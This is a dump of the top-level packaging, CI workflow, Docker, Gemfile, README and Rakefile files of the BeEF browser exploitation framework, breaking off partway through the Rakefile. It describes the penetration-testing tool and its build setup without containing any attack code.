[
  {
    "path": ".dockerignore",
    "content": "# Don't copy over git files\n.git\n.github\n.gitignore\ndoc\ndocs\ntest\nupdate-beef\n"
  },
  {
    "path": ".github/CONTRIBUTING.md",
    "content": "# Contributing\n### Anyone is welcome to make BeEF better!\nThank you for wanting to contribute to BeEF. It's effort like yours that helps make BeEF such a great tool.\n\nFollowing these guidelines shows that you respect the time of the developers developing this open source project and helps them help you. In response to this, they should return that respect in addressing your issue, assisting with changes, and helping you finalize your pull requests.\n\n###  We want any form of helpful contributions!\n\n\nBeEF is an open source project and we love to receive contributions from the community! There are many ways to contribute, from writing tutorials or blog posts, improving or translating the documentation, answering questions on the project, submitting bug reports and feature requests or writing or reviewing code which can be merged into BeEF itself.\n\n# Ground Rules\n\n###  Responsibilities\n> * When making an issue, ensure the issue template is filled out, failure to do so can and will result in a closed ticket and a delay in support.\n> * We now have a two-week of unresponsiveness period before closing a ticket, if this happens, just comment responding to the issue which will re-open the ticket. Ensure to make sure all information requested is provided.\n> * Ensure cross-platform compatibility for every change that's accepted. Mac and Linux are currently supported.\n> * Create issues for any major changes and enhancements that you wish to make. Discuss things transparently and get community feedback.\n> * Ensure language is as respectful and appropriate as possible. \n> * Keep merges as straightforward as possible, only address one issue per commit where possible.\n> * Be welcoming to newcomers and try to assist where possible, everyone needs help. \n\n# Where to start\n### Looking to make your first contribution \n\n Unsure where to begin contributing to BeEF? You can start by looking through these issues:\n\n * Good First Issue - issues which should only require a few changes, and are good to start with.\n * Question - issues which are a question and need a response. A good way to learn more about BeEF is to try to solve a problem.\n\nAt this point, you're ready to make your changes! Feel free to ask for help; everyone is a beginner at first.\n\nIf a maintainer asks you to \"rebase\" your PR, they're saying that code has changed, and that you need to update your branch so it's easier to merge.\n\n### Ruby best practise \nDo read through: https://rubystyle.guide\nTry and follow through with the practices throughout, even going through it once will help keep the codebase consistent.\nUse Rubocop to help ensure that the changes adhere to current standards, we are currently catching up old codebase to match.\nJust run the following in the /beef directory.\n> rubocop\n\n# Getting started\n\n### How to submit a contribution.\n\n1. Create your own fork of the code\n\n2. Checkout the master branch\n> git checkout master\n\n3. Create a new branch for your feature\n> git checkout -b my-cool-new-feature\n\n4. Add your new files\n> git add modules/my-cool-new-module\n\n5. Modify or write a test case/s in Rspec for your changes\n\n6. Commit your changes with a relevant message\n> git commit\n\n7. Push your changes to GitHub\n> git push origin my-cool-new-feature\n\n8. Run all tests again to make sure they all pass\n\n9. Edit existing wiki page / add a new one explaining the new features, including:\n\t- sample usage (command snippets, steps and/or screenshots)\n\t- internal working (code snippets & explanation)\n\n10. Now browse to the following URL and create your pull request from your fork to beef master\n    - Fill out the Pull Request Template\n    - https://github.com/beefproject/beef/pulls\n\n\n# How to report a bug\nIf you find a security vulnerability, do NOT open an issue. Email security@beefproject.com instead.\n\nWhen the security team receives a security bug email, they will assign it to a primary handler.\nThis person will coordinate the fix and release process, involving the following steps:\n\n* Confirm the problem and find the affected versions.\n* Audit code to find any potential similar problems.\n* Prepare fixes"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\r\nname: Bug report\r\nabout: Report a bug to help us improve BeEF\r\n---\r\n\r\n## First Steps\r\n\r\n1. Confirm that your issue has not been posted previously by searching here: https://github.com/beefproject/beef/issues\r\n2. Confirm that the wiki does not contain the answers you seek: https://github.com/beefproject/beef/wiki\r\n3. Check the FAQ: https://github.com/beefproject/beef/wiki/FAQ\r\n4. BeEF Version:\r\n5. Ruby Version:\r\n6. Browser Details (e.g. Chrome v81.0):\r\n7. Operating System (e.g. OSX Catalina):\r\n\r\n## Configuration\r\n\r\n1. Have you made any changes to your BeEF configuration? Yes/No\r\n2. Have you enabled or disabled any BeEF extensions? Yes/No\r\n\r\n## Steps to Reproduce\r\n\r\n1. (eg. I ran install script, which ran fine)\r\n2. (eg. when launching console with './beef' I get an error as follows: <error here>)\r\n3. (eg. beef does not launch)\r\n\r\n## How to enable and capture detailed logging\r\n\r\n1. Edit `config.yaml` in the root directory\r\n   * If using Kali **beef-xss** the root dir will be  `/usr/share/beef-xss`\r\n2. Update `client_debug` to `true`\r\n3. Retrieve browser logs from your browser's developer console (Ctrl + Shift + I or F12 depending on browser)\r\n4. Retrieve your server-side logs from `~/.beef/beef.log`\r\n   * If you have a kali (beef-xss) problem, you can submit a bug here:\r\n     https://www.kali.org/docs/community/submitting-issues-kali-bug-tracker/\r\n\r\n**If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.**\r\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "content": "blank_issues_enabled: false\ncontact_links:\n  - name: Questions / Support\n    url: https://github.com/beefproject/beef/wiki\n    about: Please check the wiki before opening an issue."
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "# Pull Request\n\nThanks for submitting a PR! Please fill in this template where appropriate:\n\n## Category\n*e.g. Bug, Module, Extension, Core Functionality, Documentation, Tests*\n\n## Feature/Issue Description\n**Q:** Please give a brief summary of your feature/fix\n**A:**\n\n**Q:** Give a technical rundown of what you have changed (if applicable)\n**A:**\n\n## Test Cases\n**Q:** Describe your test cases, what you have covered and if there are any use cases that still need addressing.\n**A:**\n\n## Wiki Page\n*If you are adding a new feature that is not easily understood without context, please draft a section to be added to the Wiki below.*\n"
  },
  {
    "path": ".github/SECURITY.md",
    "content": "send security bug reports to security@beefproject.com\n\n**A security report should include:**\n\n1. Description of the problem (what it is, what's the impact)\n\n2. Technical steps to replicate it (commands / screenshots)\n\n3. Actionable fix/recommendations to mitigate the issue\n"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n- package-ecosystem: npm\n  directory: \"/\"\n  schedule:\n    interval: daily\n  open-pull-requests-limit: 10\n  ignore:\n  - dependency-name: jsdoc-to-markdown\n    versions:\n    - 7.0.0\n- package-ecosystem: bundler\n  directory: \"/\"\n  schedule:\n    interval: daily\n  open-pull-requests-limit: 10\n  ignore:\n  - dependency-name: rubocop\n    versions:\n    - 1.10.0\n    - 1.11.0\n    - 1.12.0\n    - 1.12.1\n    - 1.9.0\n    - 1.9.1\n"
  },
  {
    "path": ".github/workflows/codeql.yml",
    "content": "# For most projects, this workflow file will not need changing; you simply need\n# to commit it to your repository.\n#\n# You may wish to alter this file to override the set of languages analyzed,\n# or to provide custom queries or build logic.\n#\n# ******** NOTE ********\n# We have attempted to detect the languages in your repository. Please check\n# the `language` matrix defined below to confirm you have the correct set of\n# supported CodeQL languages.\n#\nname: \"CodeQL\"\n\non:\n  push:\n    branches: [ master ]\n  pull_request:\n    # The branches below must be a subset of the branches above\n    branches: [ master ]\n  schedule:\n    - cron: '36 1 * * 0'\n\njobs:\n  analyze:\n    name: Analyze\n    runs-on: ubuntu-latest\n    permissions:\n      actions: read\n      contents: read\n      security-events: write\n\n    strategy:\n      fail-fast: false\n      matrix:\n        language: [ 'javascript', 'ruby' ]\n        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]\n        # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support\n\n    steps:\n    - name: Checkout repository\n      uses: actions/checkout@v3\n\n    # Initializes the CodeQL tools for scanning.\n    - name: Initialize CodeQL\n      uses: github/codeql-action/init@v2\n      with:\n        languages: ${{ matrix.language }}\n        # If you wish to specify custom queries, you can do so here or in a config file.\n        # By default, queries listed here will override any specified in a config file.\n        # Prefix the list here with \"+\" to use these queries and those in the config file.\n        \n        # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs\n        queries: security-extended,security-and-quality\n\n        \n    # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).\n    # If this step fails, then you should remove it and run the build manually (see below)\n    # - name: Autobuild\n    #  uses: github/codeql-action/autobuild@v2\n\n    # ℹ️ Command-line programs to run using the OS shell.\n    # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun\n\n    #   If the Autobuild fails above, remove it and uncomment the following three lines. \n    #   modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance.\n\n    # - run: |\n    #   echo \"Run, Build Application using script\"\n    #   ./location_of_script_within_repo/buildscript.sh\n\n    - name: Perform CodeQL Analysis\n      uses: github/codeql-action/analyze@v2\n"
  },
  {
    "path": ".github/workflows/dependabot-auto-merge.yml",
    "content": "name: Dependabot auto-merge\non: \n  pull_request:\n    branches:\n        - master\n\npermissions:\n  contents: write\n  pull-requests: write\n\njobs:\n  dependabot:\n    runs-on: ubuntu-latest\n    if: github.event.pull_request.user.login == 'dependabot[bot]' && github.repository == 'beefproject/beef'\n    steps:\n      - name: Dependabot metadata\n        id: metadata\n        uses: dependabot/fetch-metadata@v2\n        with:\n          github-token: \"${{ secrets.GITHUB_TOKEN }}\"\n      - name: Enable auto-merge for Dependabot PRs\n        if: success() && (steps.metadata.outputs.update-type == 'version-update:semver-minor' || steps.metadata.outputs.update-type == 'version-update:semver-patch')\n        run: gh pr merge --auto --merge \"$PR_URL\"\n        env:\n          PR_URL: ${{ github.event.pull_request.html_url }}\n          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n"
  },
  {
    "path": ".github/workflows/dependabot_auto_label.yml",
    "content": "name: 'Auto-label Dependabot PRs'\n\non:\n  pull_request_target:\n    branches: [ master ]\n    types: [ opened, synchronize ]\n\njobs:\n  auto-label:\n    name: 'Apply safe_to_test for Dependabot'\n    if: github.event.pull_request.user.login == 'dependabot[bot]'\n    runs-on: ubuntu-latest\n    steps:\n      - name: 'Add safe_to_test label'\n        uses: actions/github-script@v8\n        with:\n          script: |\n            const { owner, repo } = context.repo;\n            const issue_number = context.payload.pull_request.number;\n\n            // Remove first so re-adding always fires a labeled event,\n            // which triggers the BrowserStack workflow.\n            try {\n              await github.rest.issues.removeLabel({\n                owner, repo, issue_number,\n                name: 'safe_to_test'\n              });\n            } catch (e) {\n              if (e.status !== 404) throw e;\n            }\n\n            await github.rest.issues.addLabels({\n              owner, repo, issue_number,\n              labels: ['safe_to_test']\n            });\n"
  },
  {
    "path": ".github/workflows/github_actions.yml",
    "content": "name: 'BrowserStack Test'\n\non:\n  pull_request_target:\n    branches: [ master ]\n    types: [ labeled ]\n\njobs:\n  ubuntu-job:\n    name: 'BrowserStack Test on Ubuntu'\n    runs-on: ubuntu-latest\n    concurrency:\n      group: browserstack-${{ github.event.pull_request.number }}\n      cancel-in-progress: true\n    if: github.event.label.name == 'safe_to_test'\n    env:\n      GITACTIONS: true\n    steps:\n\n      - name: 'Remove safe_to_test label'\n        uses: actions/github-script@v8\n        with:\n          script: |\n            try {\n              await github.rest.issues.removeLabel({\n                owner: context.repo.owner,\n                repo: context.repo.repo,\n                issue_number: context.payload.pull_request.number,\n                name: 'safe_to_test'\n              });\n            } catch (e) {\n              if (e.status === 404) {\n                console.log('Label already removed, skipping');\n              } else {\n                throw e;\n              }\n            }\n\n      - name: 'BrowserStack Env Setup'  # Invokes the setup-env action\n        uses: browserstack/github-actions/setup-env@master\n        with:\n          username:  ${{ secrets.BROWSERSTACK_USERNAME }}\n          access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }}\n\n      - name: 'BrowserStack Local Tunnel Setup'  # Invokes the setup-local action\n        uses: browserstack/github-actions/setup-local@master\n        with:\n          local-testing: start\n          local-identifier: random\n\n      - name: 'Checkout the repository'\n        uses: actions/checkout@v6\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}\n          fetch-depth: 2\n\n      - name: 'Setting up Ruby'\n        uses: ruby/setup-ruby@v1\n        # Ruby version is defined in .ruby-version file\n\n      - name: 'Update and Install Dependencies'\n        run: |\n          sudo apt update\n          sudo apt install libcurl4 libcurl4-openssl-dev\n\n      - name: 'Configure Bundle testing and install gems'\n        run: |\n          bundle config unset --local without\n          bundle config set --local with 'test' 'development'\n          bundle install\n\n      - name: 'Run BrowserStack simple verification'\n        run: |\n          bundle exec rake browserstack --trace\n\n      - name: 'BrowserStackLocal Stop'  # Terminating the BrowserStackLocal tunnel connection\n        uses: browserstack/github-actions/setup-local@master\n        with:\n          local-testing: stop\n"
  },
  {
    "path": ".github/workflows/stale.yml",
    "content": "# This workflow warns and then closes issues and PRs that have had no activity for a specified amount of time.\n#\n# You can adjust the behavior by modifying this file.\n# For more information, see:\n# https://github.com/actions/stale\nname: Mark stale issues and pull requests\n\non:\n  schedule:\n  - cron: '5 * * * *'\n\njobs:\n  stale:\n\n    runs-on: ubuntu-latest\n    permissions:\n      issues: write\n      pull-requests: write\n\n    steps:\n    - uses: actions/stale@28ca1036281a5e5922ead5184a1bbf96e5fc984e # v10.0.0\n      with:\n        repo-token: ${{ secrets.GITHUB_TOKEN }}\n        days-before-stale: 120\n        days-before-pr-stale: 29\n        days-before-close: 7\n        days-before-pr-close: 31\n        stale-issue-message: 'This issue has been marked as stale due to inactivity and will be closed in 7 days'\n        stale-pr-message: 'Stale pull request message'\n        stale-issue-label: 'Stale'\n        stale-pr-label: 'no-pr-activity'\n        exempt-issue-labels: 'Critical, High, Low, Medium, Review, Backlog'\n        exempt-all-milestones: true\n        exempt-draft-pr: true\n        start-date: '2022-06-15T00:00:00Z'\n"
  },
  {
    "path": ".rspec",
    "content": "--format documentation\n--color\n--require spec_helper\n-I .\n"
  },
  {
    "path": ".rubocop.yml",
    "content": "AllCops:\n  Exclude:\n    - 'test/**/*'\n    - 'tmp/**/*'\n    - 'tools/**/*'\n    - 'doc/**/*'\n  TargetRubyVersion: <%= File.read(\".ruby-version\").strip[/^(\\d+\\.\\d+)/, 1] || raise(\"Ruby version not found\") %>\n  NewCops: enable\n\nLayout/LineLength:\n  Enabled: true\n  Max: 180\n\nMetrics/AbcSize:\n  Enabled: false\n\nMetrics/BlockLength:\n  Enabled: false\n\nMetrics/ClassLength:\n  Enabled: false\n\nMetrics/MethodLength:\n  Enabled: false\n\nMetrics/ModuleLength:\n  Enabled: false\n\nMetrics/PerceivedComplexity:\n  Enabled: false\n\nMetrics/CyclomaticComplexity:\n  Enabled: false\n\nNaming/ClassAndModuleCamelCase:\n  Enabled: false\n\nStyle/FrozenStringLiteralComment:\n  Enabled: false\n\nStyle/Documentation:\n  Enabled: false\n"
  },
  {
    "path": ".ruby-gemset",
    "content": "beef\n"
  },
  {
    "path": ".ruby-version",
    "content": "3.4.7\n"
  },
  {
    "path": "Dockerfile",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n###########################################################################################################\n###########################################################################################################\n##                                                                                                       ##\n##   Please read the Wiki Installation section on set-up using Docker prior to building this container.  ##\n##   BeEF does NOT allow authentication with default credentials. So please, at the very least           ##\n##   change the username:password in the config.yaml file to something secure that is not beef:beef      ##\n##   before building or you will be denied access and have to rebuild anyway.                            ##\n##                                                                                                       ##\n###########################################################################################################\n###########################################################################################################\n\n# ---------------------------- Start of Builder 0 - Gemset Build ------------------------------------------\nFROM ruby:3.4.7-slim-bookworm AS builder\n\nCOPY . /beef\n\n# Set gemrc config to install gems without Ruby Index (ri) and Ruby Documentation (rdoc) files.\n# Then add bundler/gem dependencies and install.\n# Finally change permissions of bundle installs so we don't need to run as root.\nRUN echo \"gem: --no-ri --no-rdoc\" > /etc/gemrc \\\n && apt-get update \\\n && apt-get install -y --no-install-recommends \\\n    git \\\n    curl \\\n    libssl-dev \\\n    xz-utils \\\n    pkg-config \\\n    make \\\n    g++ \\\n    libcurl4-openssl-dev \\\n    ruby-dev \\\n    libyaml-dev \\\n    libffi-dev \\\n    zlib1g-dev \\\n    libsqlite3-dev \\\n    sqlite3 \\\n && bundle install --gemfile=/beef/Gemfile --jobs=`nproc` \\\n && rm -rf /usr/local/bundle/cache \\\n && chmod -R a+r /usr/local/bundle \\\n && rm -rf /var/lib/apt/lists/*\n# ------------------------------------- End of Builder 0 -------------------------------------------------\n\n\n# ---------------------------- Start of Builder 1 - Final Build ------------------------------------------\nFROM ruby:3.4.7-slim-bookworm\nLABEL maintainer=\"Beef Project\" \\\n      source_url=\"github.com/beefproject/beef\" \\\n      homepage=\"https://beefproject.com/\"\n\n# BeEF UI/Hook port\nARG UI_PORT=3000\nARG PROXY_PORT=6789\nARG WEBSOCKET_PORT=61985\nARG WEBSOCKET_SECURE_PORT=61986\n\n\n# Create service account to run BeEF and install BeEF's runtime dependencies\nRUN adduser --home /beef --gecos beef --disabled-password beef \\\n && apt-get update \\\n && apt-get install -y --no-install-recommends \\\n    curl \\\n    wget \\\n    espeak \\\n    lame \\\n    openssl \\\n    libreadline-dev \\\n    libyaml-dev \\\n    libxml2-dev \\\n    libxslt-dev \\\n    libncurses5-dev \\\n    libsqlite3-dev \\\n    sqlite3 \\\n    zlib1g \\\n    bison \\\n    nodejs \\\n    firefox-esr \\\n && apt-get -y clean \\\n && rm -rf /var/lib/apt/lists/*\n\n# Install geckodriver for Selenium tests\n# Pin version and verify checksum to mitigate supply chain attacks\nENV GECKODRIVER_VERSION=v0.36.0\nENV GECKODRIVER_SHA256=0bde38707eb0a686a20c6bd50f4adcc7d60d4f73c60eb83ee9e0db8f65823e04\nRUN wget -q \"https://github.com/mozilla/geckodriver/releases/download/${GECKODRIVER_VERSION}/geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz\" \\\n && echo \"${GECKODRIVER_SHA256}  geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz\" | sha256sum -c - \\\n && tar -xzf \"geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz\" -C /usr/local/bin \\\n && chmod +x /usr/local/bin/geckodriver \\\n && rm \"geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz\"\n\n# Use gemset created by the builder above\nCOPY --chown=beef:beef . /beef\nCOPY --from=builder /usr/local/bundle /usr/local/bundle\n\n# Ensure we are using our service account by default\nUSER beef\n\n# Expose UI, Proxy, WebSocket server, and WebSocketSecure server ports\nEXPOSE $UI_PORT $PROXY_PORT $WEBSOCKET_PORT $WEBSOCKET_SECURE_PORT\n\nHEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ \"curl\", \"-fS\", \"localhost:$UI_PORT\" ]\n\nWORKDIR /beef\nENTRYPOINT [\"/beef/beef\"]\n# ------------------------------------- End of Builder 1 -------------------------------------------------\n"
  },
  {
    "path": "Gemfile",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\ngem 'net-smtp', require: false\ngem 'json'\n\ngem 'eventmachine', '~> 1.2', '>= 1.2.7'\ngem 'thin', '~> 2.0'\ngem 'sinatra', '~> 4.1'\ngem 'rack', '~> 3.2'\ngem 'rack-protection', '~> 4.2.1'\ngem 'em-websocket', '~> 0.5.3' # WebSocket support\ngem 'uglifier', '~> 4.2'\ngem 'mime-types', '~> 3.7'\ngem 'execjs', '~> 2.10'\ngem 'ansi', '~> 1.5'\ngem 'term-ansicolor', :require => 'term/ansicolor'\ngem 'rubyzip', '~> 3.2'\ngem 'espeak-ruby', '~> 1.1.0' # Text-to-Voice\ngem 'rake', '~> 13.3'\ngem 'activerecord', '~> 8.1'\ngem 'otr-activerecord', '~> 2.6.0'\ngem 'sqlite3', '~> 2.9'\ngem 'rubocop', '~> 1.85.1', require: false\n\n# Geolocation support\ngroup :geoip do\n  gem 'maxmind-db', '~> 1.4'\nend\n\ngem 'parseconfig', '~> 1.1', '>= 1.1.2'\ngem 'erubis', '~> 2.7'\n\n# Metasploit Integration extension\ngroup :ext_msf do\n  gem 'msfrpc-client', '~> 1.1', '>= 1.1.2'\n  gem 'xmlrpc', '~> 0.3.3'\nend\n\n# Notifications extension\ngroup :ext_notifications do\n  # Pushover\n  gem 'rushover', '~> 0.3.0'\n  # Slack\n  gem 'slack-notifier', '~> 2.4'\nend\n\n# DNS extension\ngroup :ext_dns do\n  gem 'async-dns', '~> 1.4'\n  gem 'async', '~> 1.32'\nend\n\n# QRcode extension\ngroup :ext_qrcode do\n  gem 'qr4r', '~> 0.6.1'\nend\n\n# For running unit tests\ngroup :test do\n  gem 'simplecov', '~> 0.22'\n  gem 'test-unit-full', '~> 0.0.5'\n  gem 'rspec', '~> 3.13'\n  gem 'rdoc', '~> 7.2'\n  gem 'browserstack-local', '~> 1.4'\n\n  gem 'irb', '~> 1.17'\n  gem 'pry-byebug', '~> 3.12'\n\n  gem 'rest-client', '~> 2.1.0'\n  gem 'websocket-client-simple', '~> 0.6.1'\n\n  # Note: curb gem requires curl libraries\n  # sudo apt-get install libcurl4-openssl-dev\n  gem 'curb', '~> 1.2'\n\n  # Note: selenium-webdriver 3.x is incompatible with Firefox version 48 and prior\n  # gem 'selenium' # Requires old version of selenium which is no longer available\n  gem 'geckodriver-helper', '~> 0.24.0'\n  gem 'selenium-webdriver', '~> 4.41'\n\n  # Note: nokogiri is needed by capybara which may require one of the below commands\n  # sudo apt-get install libxslt-dev libxml2-dev\n  # sudo port install libxml2 libxslt\n  gem 'capybara', '~> 3.40'\nend\n\nsource 'https://rubygems.org'\n"
  },
  {
    "path": "INSTALL.txt",
    "content": "===============================================================================\n   \n    Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n    Browser Exploitation Framework (BeEF) - https://beefproject.com\n    See the file 'doc/COPYING' for copying permission\n\n===============================================================================\n\nSource\n------\n\nObtain application source code either by downloading the latest archive:\n\n  $ wget https://github.com/beefproject/beef/archive/master.zip\n\nOr cloning the Git repository from Github:\n\n  $ git clone https://github.com/beefproject/beef\n\n\nPrerequisites\n--------------\n\nBeEF requires Ruby 3.0+.\n\nIf your operating system package manager does not support Ruby version 3.0,\nyou can add the brightbox ppa repository for the latest version of Ruby:\n\n  $ sudo apt-add-repository -y ppa:brightbox/ruby-ng\n\nAlternatively, consider using a Ruby environment manager such as rbenv or rvm\nto manager your Ruby versions. Refer to the following for more information:\n\n  * rbenv: https://github.com/rbenv/rbenv\n  * rvm: https://rvm.io/rvm/install\n\n\nInstallation\n------------\n\nOnce Ruby is installed, run the install script in the BeEF directory:\n\n  ./install\n\nThis script installs the required operating system packages and all the\nprerequisite Ruby gems.\n\nUpon successful installation, be sure to read the Configuration page\non the wiki for important details on configuring and securing BeEF.\n\n  https://github.com/beefproject/beef/wiki/Configuration\n\n\nStart BeEF\n----------\n\nTo start BeEF, simply run:\n\n  $ ./beef\n\n\nUpdating\n--------\n\nDue to the fast-paced nature of web browser development and webappsec landscape,\nit's best to regularly update BeEF to the latest version.\n\nIf you're using BeEF from the GitHub repository, updating is as simple as:\n\n  $ ./update-beef\n\nOr pull the latest repo yourself and then update the gems with:\n  \n  $ git pull\n  \n  $ bundle\n\n"
  },
  {
    "path": "README.md",
    "content": "===============================================================================\n\n    Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n    Browser Exploitation Framework (BeEF) - https://beefproject.com\n    See the file 'doc/COPYING' for copying permission\n\n===============================================================================\n\nWhat is BeEF?\n-------------\n\n__BeEF__ is short for __The Browser Exploitation Framework__. It is a penetration testing tool that focuses on the web browser.\n\nAmid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.\n\n\nGet Involved\n------------\n\nYou can get in touch with the BeEF team. Just check out the following:\n\n\n__Please, send us pull requests!__\n\n__Web:__ https://beefproject.com/\n\n__Bugs:__ https://github.com/beefproject/beef/issues\n\n__Security Bugs:__ security@beefproject.com\n\n__Twitter:__ [@beefproject](https://twitter.com/beefproject)\n\n__Discord:__ https://discord.gg/25wT2P8pwx\n\nRequirements\n------------\n\n* Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported.\n* [Ruby](https://www.ruby-lang.org): 3.0 or newer\n* [SQLite](http://sqlite.org): 3.x\n* [Node.js](https://nodejs.org): 10 or newer\n* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile\n* Selenium is required on OSX: `brew install selenium-server-standalone` (See https://github.com/shvets/selenium)\n\nQuick Start\n-----------\n\n__The following is for the impatient.__\n\nThe `install` script installs the required operating system packages and all the prerequisite Ruby gems:\n\n```\n$ ./install\n```\n\nFor full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt) or the [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki.\n\nUpon successful installation, be sure to read the [Configuration](https://github.com/beefproject/beef/wiki/Configuration) page on the wiki for important details on configuring and securing BeEF.\n\n\nDocumentation\n---\n\n* [User Guide](https://github.com/beefproject/beef/wiki#user-guide)\n* [Frequently Asked Questions](https://github.com/beefproject/beef/wiki/FAQ)\n* [JSdocs](https://beefproject.github.io/beef/index.html)\n\n\nUsage\n-----\n\nTo get started, simply execute beef and follow the instructions:\n\n```\n$ ./beef\n```\n"
  },
  {
    "path": "Rakefile",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'rspec/core/rake_task'\n\ntask :default => [\"short\"]\n\nRSpec::Core::RakeTask.new(:short) do |task|\n  task.rspec_opts = ['--tag ~run_on_browserstack', '--tag ~run_on_long_tests']\nend\n\nRSpec::Core::RakeTask.new(:long) do |task|\n  task.rspec_opts = ['--tag ~run_on_browserstack']\nend\n\nRSpec::Core::RakeTask.new(:long_only) do |task|\n  task.rspec_opts = ['--tag ~run_on_browserstack', '--tag run_on_long_tests']\nend\n\n################################\n# Browserstack\n\nRSpec::Core::RakeTask.new(:browserstack) do |task|\n  task.rspec_opts = ['--tag run_on_browserstack']\nend\n\nRSpec::Core::RakeTask.new(:bs) do |task|\n  configs = Dir[\"spec/support/browserstack/**/*.yml\"]\n  configs.each do |config|\n    config = config.split('spec/support/browserstack')[1]\n    ENV['CONFIG_FILE'] = config\n    puts \"\\e[45m#{config.upcase}\\e[0m\"\n    task.rspec_opts = ['--tag run_on_browserstack']\n    Rake::Task['browserstack'].invoke\n    Rake::Task['browserstack'].reenable\n  end\nend\n\n################################\n# SSL/TLS certificate\n\nnamespace :ssl do\n  desc 'Create a new SSL certificate'\n  task :create do\n    if File.file?('beef_key.pem')\n      puts 'Certificate already exists. Replace? [Y/n]'\n      confirm = STDIN.getch.chomp\n      unless confirm.eql?('') || confirm.downcase.eql?('y')\n        puts \"Aborted\"\n        exit 1\n      end\n    end\n    Rake::Task['ssl:replace'].invoke\n  end\n  \n  desc 'Re-generate SSL certificate'\n  task :replace do\n    if File.file?('/usr/local/bin/openssl')\n      path = '/usr/local/bin/openssl'\n    elsif File.file?('/usr/bin/openssl')\n      path = '/usr/bin/openssl'\n    else\n      puts \"[-] Error: could not find openssl\"\n      exit 1\n    end\n    IO.popen([path, 'req', '-new', '-newkey', 'rsa:4096', '-sha256', '-x509', '-days', '3650', '-nodes', '-out', 'beef_cert.pem', '-keyout', 'beef_key.pem', '-subj', '/CN=localhost'], 'r+').read.to_s\n  end\nend\n\n################################\n# Generate API documentation\n\ndesc 'Generate API documentation to doc/rdocs/index.html'\ntask :rdoc do\n  Rake::Task['rdoc:rerdoc'].invoke\nend\n\n################################\n# rdoc\n\nnamespace :rdoc do\n  require 'rdoc/task'\n\n  desc 'Generate API documentation to doc/rdocs/index.html'\n  Rake::RDocTask.new do |rd|\n    rd.rdoc_dir = 'doc/rdocs'\n    rd.main = 'README.mkd'\n    rd.rdoc_files.include('core/**/*\\.rb')\n      #'extensions/**/*\\.rb'\n      #'modules/**/*\\.rb'\n    rd.options << '--line-numbers'\n    rd.options << '--all'\n  end\nend\n\n################################\n# X11 set up\n\n@xserver_process_id = nil;\n\ntask :xserver_start do\n  printf \"Starting X11 Server (wait 10 seconds)...\"\n  @xserver_process_id = IO.popen(\"/usr/bin/Xvfb :0 -screen 0 1024x768x24 2> /dev/null\", \"w+\")\n  delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]\n  delays.each do |i| # delay for 10 seconds\n    printf '.'\n    sleep (i) # increase the . display rate\n  end\n  puts '.'\nend\n\ntask :xserver_stop do\n  puts \"\\nShutting down X11 Server...\\n\"\n  sh \"ps -ef|grep Xvfb|grep -v grep|grep -v rake|awk '{print $2}'|xargs kill\"\nend\n\n################################\n# BeEF environment set up\n\n@beef_process_id = nil;\n@beef_config_file = 'tmp/rk_beef_conf.yaml';\n\ntask :beef_start => 'beef' do\n  # read environment param for creds or use bad_fred\n  test_user = ENV['TEST_BEEF_USER'] || 'bad_fred'\n  test_pass = ENV['TEST_BEEF_PASS'] || 'bad_fred_no_access'\n\n  # write a rake config file for beef\n  config = YAML.safe_load(File.read('./config.yaml'))\n  config['beef']['credentials']['user'] = test_user\n  config['beef']['credentials']['passwd'] = test_pass\n  Dir.mkdir('tmp') unless Dir.exist?('tmp')\n  File.open(@beef_config_file, 'w') { |f| YAML.dump(config, f) }\n\n  # set the environment creds -- in case we're using bad_fred\n  ENV['TEST_BEEF_USER'] = test_user\n  ENV['TEST_BEEF_PASS'] = test_pass\n  config = nil\n  puts \"Using config file: #{@beef_config_file}\\n\"\n\n  printf \"Starting BeEF (wait a few seconds)...\"\n  @beef_process_id = IO.popen(\"ruby ./beef -c #{@beef_config_file} -x 2> /dev/null\", \"w+\")\n  delays = [5, 5, 5, 4, 